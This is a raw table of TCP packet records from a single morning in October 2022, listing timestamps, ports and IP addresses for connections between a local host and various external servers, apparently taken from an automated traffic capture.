Oct 24, 2022 11:09:20.586066961 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:20.632337093 CEST	80	49710	199.249.230.161	192.168.2.3
Oct 24, 2022 11:09:20.632441998 CEST	49710	80	192.168.2.3	199.249.230.161
Oct 24, 2022 11:09:20.634212017 CEST	49710	80	192.168.2.3	199.249.230.161
Oct 24, 2022 11:09:20.797075987 CEST	80	49710	199.249.230.161	192.168.2.3
Oct 24, 2022 11:09:20.797157049 CEST	80	49710	199.249.230.161	192.168.2.3
Oct 24, 2022 11:09:20.797245026 CEST	80	49710	199.249.230.161	192.168.2.3
Oct 24, 2022 11:09:20.797281027 CEST	80	49710	199.249.230.161	192.168.2.3
Oct 24, 2022 11:09:20.797327995 CEST	49710	80	192.168.2.3	199.249.230.161
Oct 24, 2022 11:09:20.797380924 CEST	49710	80	192.168.2.3	199.249.230.161
Oct 24, 2022 11:09:20.797601938 CEST	49710	80	192.168.2.3	199.249.230.161
Oct 24, 2022 11:09:20.798000097 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:20.899607897 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:20.960283995 CEST	80	49710	199.249.230.161	192.168.2.3
Oct 24, 2022 11:09:21.166584015 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:21.170099020 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:21.229903936 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:21.230129004 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:21.271821976 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:23.280766964 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:23.280916929 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:23.281956911 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:23.282067060 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:23.289063931 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:26.336174011 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:27.259829998 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:27.261574984 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:29.270788908 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:29.270998955 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:30.296344042 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:30.296766996 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:30.398266077 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:30.454341888 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:30.455028057 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:30.508388042 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:31.686786890 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:31.727365017 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:33.789361954 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:33.789592028 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:33.789973974 CEST	49704	80	192.168.2.3	86.59.21.38
Oct 24, 2022 11:09:33.790558100 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:33.798474073 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:33.935035944 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:34.144006968 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:34.148036957 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:34.250381947 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:34.476053953 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:34.479624033 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:34.581307888 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:34.582268000 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:34.589966059 CEST	49711	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:09:34.633784056 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:34.763127089 CEST	80	49711	199.249.230.174	192.168.2.3
Oct 24, 2022 11:09:34.765624046 CEST	49711	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:09:34.765901089 CEST	49711	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:09:34.926791906 CEST	80	49711	199.249.230.174	192.168.2.3
Oct 24, 2022 11:09:35.462927103 CEST	80	49711	199.249.230.174	192.168.2.3
Oct 24, 2022 11:09:35.462960005 CEST	80	49711	199.249.230.174	192.168.2.3
Oct 24, 2022 11:09:35.463071108 CEST	49711	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:09:35.465574980 CEST	80	49711	199.249.230.174	192.168.2.3
Oct 24, 2022 11:09:35.465756893 CEST	49711	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:09:35.515218973 CEST	49711	80	192.168.2.3	199.249.230.174
Oct 24, 2022 11:09:35.515755892 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:09:35.658859015 CEST	8080	49702	104.131.11.214	192.168.2.3
Oct 24, 2022 11:09:35.676225901 CEST	80	49711	199.249.230.174	192.168.2.3
Oct 24, 2022 11:09:37.065876961 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:44.511857986 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:44.533508062 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.533629894 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:44.534292936 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:44.555726051 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.591932058 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.604280949 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:44.626492977 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.682749987 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.693866014 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:44.715631962 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.792619944 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.792666912 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.792771101 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:44.793040037 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:44.798062086 CEST	49713	80	192.168.2.3	51.77.109.21
Oct 24, 2022 11:09:44.814428091 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.826937914 CEST	80	49713	51.77.109.21	192.168.2.3
Oct 24, 2022 11:09:44.827042103 CEST	49713	80	192.168.2.3	51.77.109.21
Oct 24, 2022 11:09:44.827342033 CEST	49713	80	192.168.2.3	51.77.109.21
Oct 24, 2022 11:09:44.855921030 CEST	80	49713	51.77.109.21	192.168.2.3
Oct 24, 2022 11:09:44.916500092 CEST	80	49713	51.77.109.21	192.168.2.3
Oct 24, 2022 11:09:44.916546106 CEST	80	49713	51.77.109.21	192.168.2.3
Oct 24, 2022 11:09:44.916563988 CEST	80	49713	51.77.109.21	192.168.2.3
Oct 24, 2022 11:09:44.916582108 CEST	80	49713	51.77.109.21	192.168.2.3
Oct 24, 2022 11:09:44.916704893 CEST	49713	80	192.168.2.3	51.77.109.21
Oct 24, 2022 11:09:44.916768074 CEST	49713	80	192.168.2.3	51.77.109.21
Oct 24, 2022 11:09:44.927474976 CEST	49713	80	192.168.2.3	51.77.109.21
Oct 24, 2022 11:09:44.930907011 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:44.952651024 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:44.956114054 CEST	80	49713	51.77.109.21	192.168.2.3
Oct 24, 2022 11:09:45.003626108 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:45.011333942 CEST	49714	80	192.168.2.3	192.160.102.170
Oct 24, 2022 11:09:45.052218914 CEST	80	49704	86.59.21.38	192.168.2.3
Oct 24, 2022 11:09:45.179100990 CEST	80	49714	192.160.102.170	192.168.2.3
Oct 24, 2022 11:09:45.179230928 CEST	49714	80	192.168.2.3	192.160.102.170
Oct 24, 2022 11:09:45.179450989 CEST	49714	80	192.168.2.3	192.160.102.170
Oct 24, 2022 11:09:45.197199106 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:45.347151995 CEST	80	49714	192.160.102.170	192.168.2.3
Oct 24, 2022 11:09:45.347187042 CEST	80	49714	192.160.102.170	192.168.2.3
Oct 24, 2022 11:09:45.347206116 CEST	80	49714	192.160.102.170	192.168.2.3
Oct 24, 2022 11:09:45.347225904 CEST	80	49714	192.160.102.170	192.168.2.3
Oct 24, 2022 11:09:45.347244024 CEST	80	49714	192.160.102.170	192.168.2.3
Oct 24, 2022 11:09:45.347261906 CEST	80	49714	192.160.102.170	192.168.2.3
Oct 24, 2022 11:09:45.347282887 CEST	49714	80	192.168.2.3	192.160.102.170
Oct 24, 2022 11:09:45.347335100 CEST	49714	80	192.168.2.3	192.160.102.170
Oct 24, 2022 11:09:45.347620964 CEST	49714	80	192.168.2.3	192.160.102.170
Oct 24, 2022 11:09:45.348071098 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:45.369434118 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:45.515109062 CEST	80	49714	192.160.102.170	192.168.2.3
Oct 24, 2022 11:09:45.789284945 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:45.801197052 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:45.824594975 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:46.007102013 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:46.017097950 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:46.038738012 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:46.069406033 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:46.077111006 CEST	49715	80	192.168.2.3	217.155.40.118
Oct 24, 2022 11:09:46.137648106 CEST	80	49715	217.155.40.118	192.168.2.3
Oct 24, 2022 11:09:46.138317108 CEST	49715	80	192.168.2.3	217.155.40.118
Oct 24, 2022 11:09:46.140271902 CEST	49715	80	192.168.2.3	217.155.40.118
Oct 24, 2022 11:09:46.161684990 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:46.203295946 CEST	80	49715	217.155.40.118	192.168.2.3
Oct 24, 2022 11:09:46.204164982 CEST	80	49715	217.155.40.118	192.168.2.3
Oct 24, 2022 11:09:46.204271078 CEST	49715	80	192.168.2.3	217.155.40.118
Oct 24, 2022 11:09:46.205084085 CEST	80	49715	217.155.40.118	192.168.2.3
Oct 24, 2022 11:09:46.205178976 CEST	49715	80	192.168.2.3	217.155.40.118
Oct 24, 2022 11:09:46.205286980 CEST	49715	80	192.168.2.3	217.155.40.118
Oct 24, 2022 11:09:46.205822945 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:46.237405062 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:46.272409916 CEST	80	49715	217.155.40.118	192.168.2.3
Oct 24, 2022 11:09:46.844540119 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:46.851171970 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:46.873904943 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:47.250288010 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:47.250828981 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:47.272262096 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:48.497816086 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:48.498940945 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:48.600723028 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:48.601782084 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:48.703610897 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:48.767499924 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:48.775541067 CEST	49716	80	192.168.2.3	199.249.230.160
Oct 24, 2022 11:09:48.811239958 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:48.811693907 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:48.826348066 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:48.833673954 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:48.833844900 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:48.855335951 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:48.937290907 CEST	80	49716	199.249.230.160	192.168.2.3
Oct 24, 2022 11:09:48.937478065 CEST	49716	80	192.168.2.3	199.249.230.160
Oct 24, 2022 11:09:48.937733889 CEST	49716	80	192.168.2.3	199.249.230.160
Oct 24, 2022 11:09:49.099335909 CEST	80	49716	199.249.230.160	192.168.2.3
Oct 24, 2022 11:09:49.099383116 CEST	80	49716	199.249.230.160	192.168.2.3
Oct 24, 2022 11:09:49.099405050 CEST	80	49716	199.249.230.160	192.168.2.3
Oct 24, 2022 11:09:49.099421024 CEST	80	49716	199.249.230.160	192.168.2.3
Oct 24, 2022 11:09:49.099560022 CEST	49716	80	192.168.2.3	199.249.230.160
Oct 24, 2022 11:09:49.099864006 CEST	49716	80	192.168.2.3	199.249.230.160
Oct 24, 2022 11:09:49.100419044 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:49.202008009 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:49.234525919 CEST	80	49716	199.249.230.160	192.168.2.3
Oct 24, 2022 11:09:49.234765053 CEST	49716	80	192.168.2.3	199.249.230.160
Oct 24, 2022 11:09:49.261920929 CEST	80	49716	199.249.230.160	192.168.2.3
Oct 24, 2022 11:09:49.314167023 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:49.337148905 CEST	49717	80	192.168.2.3	199.249.230.186
Oct 24, 2022 11:09:49.369442940 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:49.381220102 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:49.386538982 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:49.488298893 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:49.505111933 CEST	80	49717	199.249.230.186	192.168.2.3
Oct 24, 2022 11:09:49.506665945 CEST	49717	80	192.168.2.3	199.249.230.186
Oct 24, 2022 11:09:49.517745018 CEST	49717	80	192.168.2.3	199.249.230.186
Oct 24, 2022 11:09:49.681631088 CEST	80	49717	199.249.230.186	192.168.2.3
Oct 24, 2022 11:09:49.737873077 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:49.750463009 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:49.852130890 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:50.060892105 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:50.064517975 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:50.166115046 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:50.166320086 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:50.267916918 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:50.316726923 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:50.331378937 CEST	49718	80	192.168.2.3	74.208.203.175
Oct 24, 2022 11:09:50.337126017 CEST	80	49717	199.249.230.186	192.168.2.3
Oct 24, 2022 11:09:50.337167025 CEST	80	49717	199.249.230.186	192.168.2.3
Oct 24, 2022 11:09:50.337189913 CEST	80	49717	199.249.230.186	192.168.2.3
Oct 24, 2022 11:09:50.337244987 CEST	49717	80	192.168.2.3	199.249.230.186
Oct 24, 2022 11:09:50.337294102 CEST	49717	80	192.168.2.3	199.249.230.186
Oct 24, 2022 11:09:50.337615967 CEST	49717	80	192.168.2.3	199.249.230.186
Oct 24, 2022 11:09:50.338264942 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:09:50.359739065 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:09:50.369574070 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:50.495011091 CEST	80	49718	74.208.203.175	192.168.2.3
Oct 24, 2022 11:09:50.495266914 CEST	49718	80	192.168.2.3	74.208.203.175
Oct 24, 2022 11:09:50.499972105 CEST	49718	80	192.168.2.3	74.208.203.175
Oct 24, 2022 11:09:50.500932932 CEST	80	49717	199.249.230.186	192.168.2.3
Oct 24, 2022 11:09:50.663590908 CEST	80	49718	74.208.203.175	192.168.2.3
Oct 24, 2022 11:09:50.799948931 CEST	80	49718	74.208.203.175	192.168.2.3
Oct 24, 2022 11:09:50.799993992 CEST	80	49718	74.208.203.175	192.168.2.3
Oct 24, 2022 11:09:50.800014973 CEST	80	49718	74.208.203.175	192.168.2.3
Oct 24, 2022 11:09:50.800035954 CEST	80	49718	74.208.203.175	192.168.2.3
Oct 24, 2022 11:09:50.800216913 CEST	49718	80	192.168.2.3	74.208.203.175
Oct 24, 2022 11:09:50.800256968 CEST	49718	80	192.168.2.3	74.208.203.175
Oct 24, 2022 11:09:50.800467014 CEST	49718	80	192.168.2.3	74.208.203.175
Oct 24, 2022 11:09:50.801115990 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:50.902774096 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:50.964282990 CEST	80	49718	74.208.203.175	192.168.2.3
Oct 24, 2022 11:09:51.016295910 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:51.018919945 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:51.120628119 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:51.192936897 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:51.193491936 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:51.295167923 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:51.408484936 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:51.408934116 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:51.510567904 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:51.510675907 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:51.612298012 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:51.741463900 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:51.751981020 CEST	49719	80	192.168.2.3	199.249.230.179
Oct 24, 2022 11:09:51.791532040 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:51.913007975 CEST	80	49719	199.249.230.179	192.168.2.3
Oct 24, 2022 11:09:51.913338900 CEST	49719	80	192.168.2.3	199.249.230.179
Oct 24, 2022 11:09:51.922444105 CEST	49719	80	192.168.2.3	199.249.230.179
Oct 24, 2022 11:09:52.089380026 CEST	80	49719	199.249.230.179	192.168.2.3
Oct 24, 2022 11:09:52.481362104 CEST	80	49719	199.249.230.179	192.168.2.3
Oct 24, 2022 11:09:52.481412888 CEST	80	49719	199.249.230.179	192.168.2.3
Oct 24, 2022 11:09:52.481441021 CEST	80	49719	199.249.230.179	192.168.2.3
Oct 24, 2022 11:09:52.481592894 CEST	49719	80	192.168.2.3	199.249.230.179
Oct 24, 2022 11:09:52.481635094 CEST	49719	80	192.168.2.3	199.249.230.179
Oct 24, 2022 11:09:52.489841938 CEST	49719	80	192.168.2.3	199.249.230.179
Oct 24, 2022 11:09:52.490228891 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:52.591969967 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:52.652185917 CEST	80	49719	199.249.230.179	192.168.2.3
Oct 24, 2022 11:09:52.752003908 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:52.755326986 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:52.857060909 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:52.985639095 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:52.988912106 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:53.090625048 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:53.218344927 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:53.218755960 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:53.320456028 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:53.320755005 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:53.422418118 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:53.456748962 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:53.474215984 CEST	49720	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:09:53.498063087 CEST	80	49720	185.216.179.206	192.168.2.3
Oct 24, 2022 11:09:53.498230934 CEST	49720	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:09:53.498408079 CEST	49720	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:09:53.510416985 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:53.533648968 CEST	80	49720	185.216.179.206	192.168.2.3
Oct 24, 2022 11:09:53.653026104 CEST	80	49720	185.216.179.206	192.168.2.3
Oct 24, 2022 11:09:53.653059959 CEST	80	49720	185.216.179.206	192.168.2.3
Oct 24, 2022 11:09:53.653076887 CEST	80	49720	185.216.179.206	192.168.2.3
Oct 24, 2022 11:09:53.653194904 CEST	49720	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:09:53.653249979 CEST	49720	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:09:53.653543949 CEST	49720	80	192.168.2.3	185.216.179.206
Oct 24, 2022 11:09:53.654000998 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:53.677918911 CEST	80	49720	185.216.179.206	192.168.2.3
Oct 24, 2022 11:09:53.799514055 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:54.069041967 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:54.072298050 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:54.175848961 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:54.415844917 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:54.416325092 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:54.518018007 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:54.862010002 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:54.862484932 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:54.964123964 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:54.964344025 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:55.067914009 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:55.129122972 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:55.134283066 CEST	49721	80	192.168.2.3	94.131.2.71
Oct 24, 2022 11:09:55.182356119 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:55.250721931 CEST	80	49721	94.131.2.71	192.168.2.3
Oct 24, 2022 11:09:55.250874043 CEST	49721	80	192.168.2.3	94.131.2.71
Oct 24, 2022 11:09:55.251101017 CEST	49721	80	192.168.2.3	94.131.2.71
Oct 24, 2022 11:09:55.367259026 CEST	80	49721	94.131.2.71	192.168.2.3
Oct 24, 2022 11:09:55.473716974 CEST	80	49721	94.131.2.71	192.168.2.3
Oct 24, 2022 11:09:55.473767996 CEST	80	49721	94.131.2.71	192.168.2.3
Oct 24, 2022 11:09:55.473792076 CEST	80	49721	94.131.2.71	192.168.2.3
Oct 24, 2022 11:09:55.473853111 CEST	49721	80	192.168.2.3	94.131.2.71
Oct 24, 2022 11:09:55.473896980 CEST	49721	80	192.168.2.3	94.131.2.71
Oct 24, 2022 11:09:55.474170923 CEST	49721	80	192.168.2.3	94.131.2.71
Oct 24, 2022 11:09:55.474603891 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:09:55.576222897 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:09:55.589705944 CEST	80	49721	94.131.2.71	192.168.2.3
Oct 24, 2022 11:10:07.705008984 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:10:07.714482069 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:10:07.816148043 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:10:08.507839918 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:10:08.508219004 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:10:08.609858990 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:10:11.064570904 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:10:11.067049980 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:10:11.098834991 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:10:28.901633978 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:10:28.902075052 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:10:28.918497086 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:10:29.003825903 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:10:29.020195961 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:10:29.031687021 CEST	9001	49705	51.81.93.145	192.168.2.3
Oct 24, 2022 11:10:29.031800032 CEST	49705	9001	192.168.2.3	51.81.93.145
Oct 24, 2022 11:10:34.123262882 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:10:34.160183907 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:10:34.181617022 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:10:35.757699013 CEST	49722	443	192.168.2.3	46.38.232.203
Oct 24, 2022 11:10:35.757795095 CEST	443	49722	46.38.232.203	192.168.2.3
Oct 24, 2022 11:10:35.757992983 CEST	49722	443	192.168.2.3	46.38.232.203
Oct 24, 2022 11:10:35.759063005 CEST	49722	443	192.168.2.3	46.38.232.203
Oct 24, 2022 11:10:35.759102106 CEST	443	49722	46.38.232.203	192.168.2.3
Oct 24, 2022 11:10:36.296559095 CEST	443	49722	46.38.232.203	192.168.2.3
Oct 24, 2022 11:10:36.296772957 CEST	49722	443	192.168.2.3	46.38.232.203
Oct 24, 2022 11:10:37.186188936 CEST	49722	443	192.168.2.3	46.38.232.203
Oct 24, 2022 11:10:37.186232090 CEST	443	49722	46.38.232.203	192.168.2.3
Oct 24, 2022 11:10:37.186717033 CEST	443	49722	46.38.232.203	192.168.2.3
Oct 24, 2022 11:10:37.187314987 CEST	49722	443	192.168.2.3	46.38.232.203
Oct 24, 2022 11:10:37.187335968 CEST	443	49722	46.38.232.203	192.168.2.3
Oct 24, 2022 11:10:40.354170084 CEST	9000	49707	195.60.166.2	192.168.2.3
Oct 24, 2022 11:10:40.405021906 CEST	49707	9000	192.168.2.3	195.60.166.2
Oct 24, 2022 11:10:53.302263021 CEST	8080	49702	104.131.11.214	192.168.2.3
